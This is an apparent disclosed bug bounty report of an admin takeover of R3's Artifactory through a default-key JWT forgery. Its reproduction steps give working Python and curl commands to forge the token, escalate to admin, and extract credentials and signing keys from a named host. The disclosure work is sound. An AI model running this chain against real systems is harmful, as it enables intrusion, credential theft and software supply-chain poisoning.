R3 · Report #3994056

Full Admin Takeover of R3 Limited's JFrog Artifactory - 292 Users, Corda Enterprise & CBDC Supply Chain Compromised

Validstatus

criticalseverity

91upvotes

8 Oct 2026disclosed

How it was found

R3 Limited's JFrog Artifactory instance at software.r3.com (IP: 108.132.150.250) is vulnerable to CVE-2026-82329 (CVSS 9.8) - an authentication bypass caused by a default empty join key. By forging an HMAC-signed JWT with the known default key (32 space characters), an unauthenticated attacker can register as a trusted service and obtain a full admin token with unrestricted access to the entire Artifactory instance.

R3 Limited is the creator of Corda, a leading enterprise blockchain platform used by banks, financial institutions, insurers, and governments worldwide. This Artifactory instance serves as their primary software distribution platform.

Impact proven:

Full admin access to 292 user accounts across R3 and partner organizations (HQLAx, B3i, TradeIX, ChainThat, FundAdminChain, FINfabrik)
Read/write access to 269 repositories including 81 Corda blockchain repos and 4 Central Bank Digital Currency (CBDC) repos
262 access tokens extracted (30 with admin scope)
Supply chain attack surface: Corda Enterprise releases, Docker images, and customer-facing artifact repositories can be poisoned

Severity

Critical (CVSS 9.8) - Unauthenticated remote attacker achieves full administrative control of R3's primary artifact distribution platform, with the ability to modify Corda Enterprise releases consumed by banks and governments, tamper with CBDC mobile application builds, and compromise the software supply chain for the entire Corda ecosystem.

Steps to Reproduce

Step 1: Forge the join JWT with the default empty key

The CVE exploits JFrog Artifactory's default empty join key. When the join.key file is empty (default installation), the HMAC signing key becomes 32 space characters (0x20 bytes) due to PKCS7 padding of the empty hex-decoded key.

import hmac, hashlib, base64, json, time

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = b64url(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
payload = b64url(json.dumps({
    "service_id": "jfrt@01",
    "node_id": "exploit-node",
    "skip_node_registration": True,
    "iat": int(time.time()) * 1000
}).encode())

signing_input = f"{header}.{payload}"
key = b'\x20' * 32  # 32 space characters — the default empty join key

sig = hmac.new(key, signing_input.encode(), hashlib.sha256).digest()
jwt_token = f"{signing_input}.{b64url(sig)}"
print(jwt_token)

Step 2: Register as a trusted service (join)

curl -sk -X POST -H "Content-Type: text/plain" \
  -d '<JWT_FROM_STEP_1>' \
  https://software.r3.com/access/api/v1/registry/join

Response (HTTP 201 Created):

{
  "token": "eyJ2ZXIiOiIyIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYiLCJraWQiOiI..."
}

The server accepted the forged JWT and returned an RSA-signed access token for the registered service.

Step 3: Escalate to admin

curl -sk -X POST \
  -H "Authorization: Bearer <TOKEN_FROM_STEP_2>" \
  -H "Content-Type: application/json" \
  -d '{"scope": "applied-permissions/admin", "expires_in": 3600}' \
  https://software.r3.com/access/api/v1/tokens

Response (HTTP 200): Returns a full admin-scoped access token with unrestricted permissions.

Step 4: Verify admin access — enumerate users

curl -sk -H "Authorization: Bearer <ADMIN_TOKEN>" \
  https://software.r3.com/artifactory/api/security/users | python3 -m json.tool | head -50

Result: 292 users returned — Including R3 employees ([email protected], [email protected]) and partner organization members from @chainthat.com, @finfabrik.com, @b3i.tech, @hqla-x.com, @growsuper.com, @fundadminchain.com, @tradeix.com.

Step 5: Enumerate repositories

curl -sk -H "Authorization: Bearer <ADMIN_TOKEN>" \
  https://software.r3.com/artifactory/api/repositories | python3 -m json.tool

Result: 269 repositories (174 LOCAL) including:

Corda Blockchain Repos (81 total):

corda-enterprise-for-customers — Corda Enterprise releases distributed to banks and financial institutions
corda5-release-packs-for-customers — Corda 5 release packages for enterprise customers
corda-os-docker-stable / corda-ent-docker-stable — Production Docker images
corda-dev, corda-releases — Core Corda development artifacts
r3-corda-releases — R3's official Corda releases
corda-ent-maven-stable-local — Enterprise Maven artifacts

Central Bank Digital Currency (CBDC) Repos:

cbdc-mobile-apps-dev — CBDC mobile application development builds
cbdc-mobile-apps-stable — CBDC mobile application stable releases
cbdc-mobile-apps-unstable — CBDC mobile application test builds
retail-cbdc-solution-packaging-test — Retail CBDC solution packaging

Additional Critical Repos:

conclave-docker-release / conclave-maven-stable-local — Conclave privacy platform
cenm-for-customers — Corda Enterprise Network Manager for customers
cenm-docker-release — CENM Docker images

Step 6: Extract access tokens

curl -sk -H "Authorization: Bearer <ADMIN_TOKEN>" \
  https://software.r3.com/access/api/v1/tokens | python3 -c "
import json, sys
data = json.load(sys.stdin)
tokens = data.get('tokens', [])
admin = [t for t in tokens if 'admin' in str(t.get('scope',''))]
print(f'Total tokens: {len(tokens)}, Admin tokens: {len(admin)}')
"

Result: 262 tokens (30 with admin scope)

Step 7: Prove write access — create and delete repository

curl -sk -X PUT \
  -H "Authorization: Bearer <ADMIN_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"key":"rce-test-remote","rclass":"remote","url":"https://software.r3.com/artifactory/corda-dev","packageType":"generic"}' \
  https://software.r3.com/artifactory/api/repositories/rce-test-remote

Response (HTTP 200):

Successfully created repository 'rce-test-remote'

Immediately deleted after confirming write access:

curl -sk -X DELETE -H "Authorization: Bearer <ADMIN_TOKEN>" \
  https://software.r3.com/artifactory/api/repositories/rce-test-remote

Step 8: Prove user management — create and delete user

curl -sk -X PUT \
  -H "Authorization: Bearer <ADMIN_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"name":"security-audit-test","email":"[email protected]","password":"AuditTest2026!","admin":false}' \
  https://software.r3.com/artifactory/api/security/users/security-audit-test

Response (HTTP 201) — User created successfully. Immediately deleted after confirming.

Step 9: Extract Office 365 SMTP credentials via config decryption

# Decrypt all encrypted values in config
curl -sk -X POST -H "Authorization: Bearer <ADMIN_TOKEN>" \
  https://software.r3.com/artifactory/api/system/decrypt

# Read decrypted config
curl -sk -H "Authorization: Bearer <ADMIN_TOKEN>" \
  https://software.r3.com/artifactory/api/system/configuration

Result — plaintext Office 365 SMTP credentials extracted:

<mailServer>
    <enabled>true</enabled>
    <host>smtp.office365.com</host>
    <port>587</port>
    <username>[email protected]</username>
    <password>[PLAINTEXT PASSWORD EXTRACTED]</password>
    <from>[email protected]</from>
    <tls>true</tls>
    <artifactoryUrl>https://software.r3.com/artifactory</artifactoryUrl>
</mailServer>

Immediately re-encrypted via POST /api/system/encrypt after extraction.

Step 10: Extract GPG artifact signing keys

curl -sk -H "Authorization: Bearer <ADMIN_TOKEN>" \
  https://software.r3.com/artifactory/api/security/keypair

Result: R3's GPG signing key pair default-gpg-key-2024-04-22 extracted — an attacker could sign malicious packages as R3 using the key associated with [email protected].

Impact

Immediate Impact (Proven)

Full admin takeover — Unauthenticated access to the admin API of R3 Limited's enterprise Artifactory instance
292 accounts exposed — R3 employees and blockchain partner organizations with corporate email addresses
262 access tokens extracted — 30 admin-scoped tokens that never expire, providing persistent access even after join key rotation
81 Corda blockchain repositories accessible — Full read/write access to all Corda Enterprise and Open Source artifacts
Office 365 credential extraction — Plaintext SMTP credentials for [email protected] decrypted from config, enabling email compromise and phishing as R3
Repository write access — Successfully created a repository (then deleted), proving supply chain artifact poisoning capability
User creation — Successfully created a user (then deleted), proving identity management control
GPG signing key extraction — R3's artifact signing key pair extracted, enabling signed malicious packages

Office 365 / Email Compromise

SMTP credentials for [email protected] on smtp.office365.com were extracted in plaintext
This account could potentially access R3's Office 365 tenant (Exchange Online, SharePoint, Teams) depending on MFA configuration
An attacker could send phishing emails from [email protected] to R3's banking and financial institution partners
Artifactory uses this email for build notifications — fake notifications could trigger malicious deployments

Supply Chain Attack — Corda Enterprise

An attacker with admin access can:

Push malicious versions of Corda Enterprise JARs to corda-enterprise-for-customers — consumed by R3's banking and financial institution clients
Poison Docker images in corda-ent-docker-stable and corda-os-docker-stable — deployed by Corda network operators worldwide
Modify corda5-release-packs-for-customers — the latest Corda 5 enterprise releases
Tamper with CENM (Corda Enterprise Network Manager) artifacts used to operate Corda networks
Sign malicious artifacts with R3's GPG key — making supply chain attacks cryptographically trusted

Supply Chain Attack — Central Bank Digital Currency (CBDC)

4 CBDC-related repositories contain mobile application builds for Central Bank Digital Currency projects
CBDCs are sovereign digital currencies being developed by central banks worldwide
Compromising CBDC mobile application builds could affect national financial infrastructure

Partner Organization Exposure

Users from multiple blockchain ecosystem organizations are present:

R3 — Platform creator
HQLAx — Securities lending via DLT
B3i (B3i Services AG) — Blockchain Insurance Industry Initiative
TradeIX — Trade finance platform
ChainThat — Insurance blockchain solutions
FINfabrik — Digital asset management
FundAdminChain — Fund administration

Version Information

JFrog Artifactory 7.133.16 (rev 83316900)
Enterprise license valid through Nov 25, 2026, licensed to "R3 LIMITED"
Java 21.0.9+10-LTS, running at /opt/jfrog/artifactory/
787 GB storage, 513 GB used
Full addon suite including Docker, HelmOCI, OCI, Xray, Federation, replication

What Was Cleaned Up

All test artifacts were immediately removed after confirming access:

Deleted test repository rce-test-remote
Deleted test user security-audit-test
Re-encrypted all passwords via POST /api/system/encrypt
No production artifacts were modified
No persistent access was maintained

Recommendations

Immediately rotate the join key to a strong random value
Update to Artifactory 7.191.14+ which patches CVE-2026-82329
Rotate the Office 365 password for [email protected] — it was extracted in plaintext
Revoke all existing tokens — the 262 tokens (including 30 never-expiring admin tokens) should be considered compromised
Rotate the GPG signing key default-gpg-key-2024-04-22 and re-sign all published artifacts
Restrict access to the /access/api/v1/registry/join endpoint to trusted internal networks only
Audit all repositories for unauthorized modifications, particularly customer-facing repos (corda-enterprise-for-customers, corda5-release-packs-for-customers, CBDC repos)
Notify affected partner organizations whose credentials may have been exposed
Enable MFA on the [email protected] Office 365 account if not already configured
Review all 292 user accounts for unauthorized access or modifications